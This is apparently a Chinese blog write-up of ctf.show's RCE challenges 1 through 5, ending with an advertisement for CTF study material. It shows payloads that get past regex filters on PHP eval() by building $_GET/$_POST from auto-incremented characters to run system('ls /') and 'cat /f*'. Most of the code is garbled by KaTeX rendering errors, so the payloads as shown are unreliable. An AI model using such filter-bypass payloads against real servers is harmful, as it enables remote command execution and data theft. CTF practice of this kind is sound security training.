1、ctf.show每周大挑战之RCE极限挑战

php的eval()解释:
eval() 函数把字符串按照 PHP 代码来计算。
该字符串必须是合法的 PHP 代码,且必须以分号结尾。
return 语句会立即终止对字符串的计算。
返回值:除非在代码字符串中调用 return 语句,则返回传给 return 语句的值,否则返回 NULL。如果代码字符串中存在解析错误,则 eval()
函数返回 FALSE。
2、RCE挑战1
如下图所示,POST传参时,参数名为code,后台对 “(”、“.” 做了替换。

如何才能查找到想要的flag呢?执行远程命令使用 system(‘ls /’); 或使用反引号 ls /;

如上图所示,使用post的code参数传参时,echo ls /,显示出系统命令执行的结果,看到有个f1agaaa文件,看似是flag文件,再查看该文件内容 echo cat /f1agaaa,这里也可以使用通配符进行内容查看 echo cat /f* ,获取到flag,如下图所示:

3、RCE挑战2
如下图所示,POST传参时,参数名为ctf_show,后台对参数值做了正则匹配。

先确认哪些字符可传入。
<?php for ($i=32;$i<127;$i++){ if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>“|`~\\]/”,chr(KaTeX parse error: Expected '}', got 'EOF' at end of input: … echo chr(i)." ";
}
}
//post可传入的字符如下:
// ! $ ’ ( ) + , . / ; = [ ] _
从题目可以看出post传参被正则限制的厉害,想办法再同时进行get传参。使用数组绕过,获取数组名的第一个字符A,通过变量自增,组装$GET[],以便达到get传参,执行远程命令。
=
[
]
.
;
/
/
_=[]._; //
=[].;//变量,[]默认表示数组名Array,. 表示数组名Array拼接上字符’’
var_dump($); //输出变量内容为:“Array_”
KaTeX parse error: Expected group after '_' at position 1: _̲_=[‘!’==‘,’]; //里面判断结果为false,即
[
0
]
,即取字符串
"
A
r
r
a
y
"
[
0
]
下标为
0
的字母,即
"
A
"
,赋值给变量
_[0],即取字符串"Array_"[0] 下标为0的字母,即"A",赋值给变量
[0],即取字符串"Array"[0]下标为0的字母,即"A",赋值给变量__
KaTeX parse error: Expected group after '_' at position 1: _̲_++;++;KaTeX parse error: Expected group after '_' at position 1: _̲_++; //变量自增,值为B、C、D
KaTeX parse error: Expected group after '_' at position 1: _̲__=++; //KaTeX parse error: Expected group after '_' at position 1: _̲__变量赋值为E,变量当前值为E
++KaTeX parse error: Expected group after '_' at position 1: _̲_; …变量值自增,当前值为F
KaTeX parse error: Expected group after '_' at position 1: _̲__=++.KaTeX parse error: Expected group after '_' at position 1: _̲__; //变量值自增,当前值为"G",拼接变量KaTeX parse error: Expected group after '_' at position 1: _̲__的值"E"后,再赋值给变量,其值为 “GE”
++KaTeX parse error: Expected group after '_' at position 1: _̲_;++;++KaTeX parse error: Expected group after '_' at position 1: _̲_;++;++KaTeX parse error: Expected group after '_' at position 1: _̲_;++;++KaTeX parse error: Expected group after '_' at position 1: _̲_;++;++KaTeX parse error: Expected group after '_' at position 1: _̲_;++;++KaTeX parse error: Expected group after '_' at position 1: _̲_;++; //$变量自增,值为H、I、J、K、L、M、N、O、P、Q、R、S
KaTeX parse error: Expected group after '_' at position 1: _̲__=.++KaTeX parse error: Expected group after '_' at position 1: _̲_; //__变量值自增,当前值为T,KaTeX parse error: Expected group after '_' at position 1: _̲__变量的值"GE"拼接"T"…变量,其值为"GET"
KaTeX parse error: Double subscript at position 4: _='_̲'.; //''拼接KaTeX parse error: Expected group after '_' at position 1: _̲__变量的值"GET",后再赋…变量,其值为"GET"
KaTeX parse error: Double subscript at position 3: _[_̲]([]); //即组装出
G
E
T
[
]
(
_GET[_](
GET[](_GET[]),以便get传参,参数名为_和_,如_参数传参为system,__参数传参为ls /,即get传参后拼接出system(‘ls /’)命令,以便eval去执行
//post传参
ctf_show=
=
[
]
.
;
_=[]._;
=[].;=
[
′
!
′
=
=
′
,
′
]
;
_['!'==','];
[′!′==′,′];++;KaTeX parse error: Expected group after '_' at position 1: _̲_++;++;KaTeX parse error: Expected group after '_' at position 1: _̲__=++;++KaTeX parse error: Expected group after '_' at position 1: _̲_;=++KaTeX parse error: Expected group after '_' at position 1: _̲_.;++KaTeX parse error: Expected group after '_' at position 1: _̲_;++;++KaTeX parse error: Expected group after '_' at position 1: _̲_;++;++KaTeX parse error: Expected group after '_' at position 1: _̲_;++;++KaTeX parse error: Expected group after '_' at position 1: _̲_;++;++KaTeX parse error: Expected group after '_' at position 1: _̲_;++;++KaTeX parse error: Expected group after '_' at position 1: _̲_;++;KaTeX parse error: Expected group after '_' at position 1: _̲__=.++KaTeX parse error: Expected group after '_' at position 1: _̲_;=''.KaTeX parse error: Expected group after '_' at position 1: _̲__;KaTeX parse error: Double subscript at position 3: _[_̲]($[]);
//get传参
?_=system&=ls /
如下图所示,拼装了一个
G
E
T
[
]
(
_GET[_](
GET[](_GET[__]);组合,传递2个参数来达到执行 system(‘ls
/’);的目的(尝试只传递一个参数$GET[]接收 system(“ls /”)参数,访问时没什么反应,没想明白为何不行…)。

如上图所示,get参数_传system值,参数__传ls
/值,可以查看到根目录有个f1agaaa文件,貌似是flag文件,如下图所示,参数_传system,参数__传cat /f1agaaa,打开得到falg。
//post传参
ctf_show=
=
[
]
.
;
_=[]._;
=[].;=
[
′
!
′
=
=
′
,
′
]
;
_['!'==','];
[′!′==′,′];++;KaTeX parse error: Expected group after '_' at position 1: _̲_++;++;KaTeX parse error: Expected group after '_' at position 1: _̲__=++;++KaTeX parse error: Expected group after '_' at position 1: _̲_;=++KaTeX parse error: Expected group after '_' at position 1: _̲_.;++KaTeX parse error: Expected group after '_' at position 1: _̲_;++;++KaTeX parse error: Expected group after '_' at position 1: _̲_;++;++KaTeX parse error: Expected group after '_' at position 1: _̲_;++;++KaTeX parse error: Expected group after '_' at position 1: _̲_;++;++KaTeX parse error: Expected group after '_' at position 1: _̲_;++;++KaTeX parse error: Expected group after '_' at position 1: _̲_;++;KaTeX parse error: Expected group after '_' at position 1: _̲__=.++KaTeX parse error: Expected group after '_' at position 1: _̲_;=''.KaTeX parse error: Expected group after '_' at position 1: _̲__;KaTeX parse error: Double subscript at position 3: _[_̲]($[]);
//get传参
?_=system&=cat /f1agaaa
//或get传参
?_=system&__=cat /f*

4、RCE挑战3
如下图所示,POST传参时,参数名为ctf_show,后台对参数值做了正则匹配。

先确认哪些字符可传入。
for (
i
=
32
;
i=32;
i=32;i<127;KaTeX parse error: Expected '}', got '#' at position 51: …"/[a-zA-Z2-9!'@#̲%^&*:{}\-<\?>\"…i))){
echo chr($i)." ";
}
}
//post可传入的字符如下
// 0 $ 1 ( ) + , . / ; = [ ] _
从题目可以看出post传参被正则限制的厉害,想着同时进行get传参,但是限制了post参数长度(<=105)。使非数字绕过,_/_非法运算时返回NAN,通过变量自增,组装$POST[],以便达到post传参,执行远程命令。



注意:之前好奇为啥 $d1 =
‘ab’.‘cd’[0],输出值为"abc",这里涉及到运算优先级问题,‘cd’[0]的值为"c",再和前面的’ab’拼接后,即"abc"。
KaTeX parse error: Double subscript at position 6: _=(_/_̲._)[0]; //变量的值为"NAN"[0]的值,即值为"N"
0
=
+
+
_0=++
0=++_; //
变
量自增后,值为
"
O
"
,
且再赋值给变量
_变量自增后,值为"O",且再赋值给变量
变量自增后,值为"O",且再赋值给变量0,且其值为"O"
0
=
+
+
_0=++
0=++.
0
;
/
/
_0; //
0;//_变量增增后,值为"P",再拼接变量
0
的值
"
O
"
,
再赋值给变量
_0的值"O",再赋值给变量
0的值"O",再赋值给变量0,即值为"PO"
++
;
+
+
_;++
;++; //$变量增增后,值为"Q"、“R”
0
.
=
+
+
_0.=++
0.=++; //变量
0
变量的值为
"
P
O
"
,
再拼接
_0变量的值为"PO",再拼接
0变量的值为"PO",再拼接_变量增增后的值"S",再赋值给变量$0,即值为"POS"
0
.
=
+
+
_0.=++
0.=++; //变量
0
变量的值为
"
P
O
S
"
,
再拼接
_0变量的值为"POS",再拼接
0变量的值为"POS",再拼接_变量增增后的值"T",再赋值给变量$_0,即值为"POST"
KaTeX parse error: Double subscript at position 3: _=_̲._0; //变量
重
新赋值为
"
"
拼接变量
_重新赋值为"_"拼接变量
重新赋值为""拼接变量_0的值"POST",即值为"POST"
[
0
]
(
_[0](
[0]([1]); //替换$_0变量的值"_POST"后,即组装出
P
O
S
T
[
0
]
(
_POST[0](
POST[0](_POST[1]),以便post传参,参数名为0和1,如0参数传参为system,1参数传参为ls /,即post传参后拼接出system(‘ls /’)命令,以便eval去执行。
//post传参
ctf_show=KaTeX parse error: Double subscript at position 6: _=(_/_̲._)[0];0=++
;
_;
;0=++
.
_.
.0;++
;
+
+
_;++
;++;
0
.
=
+
+
_0.=++
0.=++;
0
.
=
+
+
_0.=++
0.=++;KaTeX parse error: Double subscript at position 3: _=_̲.0;
[
0
]
(
_[0](
[0]([1]);&0=system&1=ls /
如下图所示,拼装了一个
P
O
S
T
[
0
]
(
_POST[0](
POST[0](_POST[1]);组合,传递2个参数来达到执行 system(‘ls
/’);的目的(尝试只传递一个参数$_POST[0]接收 system(“ls /”)参数,访问时没什么反应,没想明白为何不行…)。

如上图所示,post参数0传system值,参数1传ls
/值,可以查看到根目录有个f1agaaa文件,貌似是flag文件,如下图所示,参数0传system,参数1传cat /f*,打开得到falg。
//post传参
ctf_show=KaTeX parse error: Double subscript at position 6: _=(_/_̲._)[0];0=++
;
_;
;0=++
.
_.
.0;++
;
+
+
_;++
;++;
0
.
=
+
+
_0.=++
0.=++;
0
.
=
+
+
_0.=++
0.=++;KaTeX parse error: Double subscript at position 3: _=_̲.0;
[
0
]
(
_[0](
[0]([1]);&0=system&1=cat /f*

疑问:post的参数再进行post传参不被正则过滤掉!?
同理,也可以尝试使用该方法查找RCE挑战2的flag。
//post传参
ctf_show=KaTeX parse error: Double subscript at position 6: _=(_/_̲._)['!'==','];=++
;
_;
;=++
.
_.
.;++
;
+
+
_;++
;++;KaTeX parse error: Expected group after '_' at position 1: _̲_.=++;KaTeX parse error: Expected group after '_' at position 1: _̲_.=++_;KaTeX parse error: Double subscript at position 3: _=_̲.;KaTeX parse error: Double subscript at position 3: _[_̲]([__]);&=system&__=cat /f*

5、RCE挑战4
如下图所示,POST传参时,参数名为ctf_show,后台对参数值做了正则匹配。

先确认哪些字符可传入。
for (
i
=
32
;
i=32;
i=32;i<127;KaTeX parse error: Expected '}', got '#' at position 47: …"/[a-zA-Z1-9!'@#̲%^&*:{}\-<\?>\"…i))){
echo chr($i)." ";
}
}
//post可传入的字符如下
// $ ( ) + , . / 0 ; = [ ] _
从题目可以看出post传参被正则限制的厉害,想着同时进行get传参,但是限制了post参数长度(<=85)。使非数字绕过,_/_非法运算时返回NAN,通过变量自增,组装$POST[],以便达到post传参,执行远程命令。

注意:KaTeX parse error: Expected group after '_' at position 1: _̲_=. + + (这里涉及 3 个运算符, = 、 . 、 + + ,其中 + + 运算符优先级最高, _++(这里涉及3个运算符,= 、 . 、 ++,其中++运算符优先级最高, ++(这里涉及3个运算符,=、.、++,其中++运算符优先级最高,++运算后, 变 量的值为 " P " ,其中 . _变量的值为"P",其中 . 变量的值为"P",其中._++,表示拼接变量$_自增前的值"O")
KaTeX parse error: Double subscript at position 6: _=(_/_̲._)[0]; //变量的值为"NAN"[0],即值为"N"
++
;
/
/
变量
_; //变量
;//变量的值自增后,值为"O"
KaTeX parse error: Expected group after '_' at position 1: _̲_=.
+
+
;
/
/
变量
_++; //变量
++;//变量的值自增后,值为"P",再拼接变量
自
增前的值
"
O
"
,再赋值给变量
_自增前的值"O",再赋值给变量
自增前的值"O",再赋值给变量__,其值为"PO"
++
;
+
+
_;++
;++;++
;
/
/
变量
_; //变量
;//变量的值自增后,值为"Q"、“R”、“S”
KaTeX parse error: Expected group after '_' at position 1: _̲_.=++.
;
/
/
变量
_; //变量
;//变量的值为"S",再拼接自增后的值"T",再拼接到变量KaTeX parse error: Expected group after '_' at position 1: _̲_(值为"PO")的后面,最后…,即值为"POST"
KaTeX parse error: Double subscript at position 3: _=_̲.; //"“拼接值为"POST"的变量KaTeX parse error: Expected group after '_' at position 1: _̲_,再赋值给变量_,即值为"POST"
KaTeX parse error: Double subscript at position 3: _[_̲]([0]); 替换$_变量的值”_POST"后,即组装出
P
O
S
T
[
]
(
_POST[_](
POST[](_POST[0]),以便post传参,参数名为_和0,如_参数传参为system,0参数传参为ls /,即post传参后拼接出system(‘ls /’)命令,以便eval去执行
//post传参
ctf_show=KaTeX parse error: Double subscript at position 6: _=(_/_̲._)[0];++;KaTeX parse error: Expected group after '_' at position 1: _̲_=.
+
+
;
+
+
_++;++
++;++;++
;
+
+
_;++
;++;KaTeX parse error: Expected group after '_' at position 1: _̲_.=++.
;
_;
;=.KaTeX parse error: Expected group after '_' at position 1: _̲_;KaTeX parse error: Double subscript at position 3: _[_̲]($[0]);&_=system&0=ls /
如下图所示,拼装了一个
P
O
S
T
[
]
(
_POST[_](
POST[](_POST[0]);组合,传递2个参数来达到执行 system(‘ls
/’);的目的(尝试只传递一个参数$POST[]接收 system(“ls /”)参数,访问时没什么反应,没想明白为何不行…)。

如上图所示,post参数_传system值,参数0传ls
/值,可以查看到根目录有个f1agaaa文件,貌似是flag文件,如下图所示,参数_传system,参数0传cat /f*,打开得到falg。
//post传参
ctf_show=KaTeX parse error: Double subscript at position 6: _=(_/_̲._)[0];++;KaTeX parse error: Expected group after '_' at position 1: _̲_=.
+
+
;
+
+
_++;++
++;++;++
;
+
+
_;++
;++;KaTeX parse error: Expected group after '_' at position 1: _̲_.=++.
;
_;
;=.KaTeX parse error: Expected group after '_' at position 1: _̲_;KaTeX parse error: Double subscript at position 3: _[_̲]($[0]);&_=system&0=cat /f*

6、RCE挑战5
如下图所示,POST传参时,参数名为ctf_show,后台对参数值做了正则匹配。

先确认哪些字符可传入。
for (
i
=
32
;
i=32;
i=32;i<127;KaTeX parse error: Expected '}', got '#' at position 47: …"/[a-zA-Z0-9!'@#̲%^&*:{}\-<\?>\"…i))){
echo chr($i)." ";
}
}
//post可传入的字符如下
// $ ( ) + , . / ; = [ ] _
字符长度如何再减少呢?直接将_POST当做post参数的参数名。
KaTeX parse error: Double subscript at position 6: _=(_/_̲._)[_]; …的值为"NAN"[0],即值为"N"
++
;
/
/
变量
_; //变量
;//变量的值自增后,值为"O"
KaTeX parse error: Expected group after '_' at position 1: _̲_=.
+
+
;
/
/
变量
_++; //变量
++;//变量的值自增后,值为"P",再拼接变量
自
增前的值
"
O
"
,再赋值给变量
_自增前的值"O",再赋值给变量
自增前的值"O",再赋值给变量__,其值为"PO"
++
;
+
+
_;++
;++; //变量$的值自增后,值为"Q"、“R”
KaTeX parse error: Can't use function '$' in math mode at position 3: _[$̲_=_.$__.++$_.++…[]); //变量
的
值自增后,值为
"
S
"
、
"
T
"
,
并将其拼接到一起
"
S
T
"
,
再拼接到
_的值自增后,值为"S"、"T",并将其拼接到一起"ST",再拼接到
的值自增后,值为"S"、"T",并将其拼接到一起"ST",再拼接到__变量(值为"PO")之后,即值为"POST",
//在再前面拼接"“,即值为”_POST",并赋值给
变
量,再组装成
_变量,再组装成
变量,再组装成_POST
//post传参
ctf_show=KaTeX parse error: Double subscript at position 6: _=(_/_̲._)[_];++;KaTeX parse error: Expected group after '_' at position 1: _̲_=.
+
+
;
+
+
_++;++
++;++;++
;
_;
;
[
_[
[=.KaTeX parse error: Expected group after '_' at position 1: _̲_.++.++
]
(
_](
]($[]);

最后
从时代发展的角度看,网络安全的知识是学不完的,而且以后要学的会更多,同学们要摆正心态,既然选择入门网络安全,就不能仅仅只是入门程度而已,能力越强机会才越多。
因为入门学习阶段知识点比较杂,所以我讲得比较笼统,大家如果有不懂的地方可以找我咨询,我保证知无不言言无不尽,需要相关资料也可以找我要,我的网盘里一大堆资料都在吃灰呢。
干货主要有:
①1000+CTF历届题库(主流和经典的应该都有了)
②CTF技术文档(最全中文版)
③项目源码(四五十个有趣且经典的练手项目及源码)
④ CTF大赛、web安全、渗透测试方面的视频(适合小白学习)
⑤ 网络安全学习路线图(告别不入流的学习)
⑥ CTF/渗透测试工具镜像文件大全
⑦ 2023密码学/隐身术/PWN技术手册大全
扫码领取
1082

被折叠的 条评论
为什么被折叠?



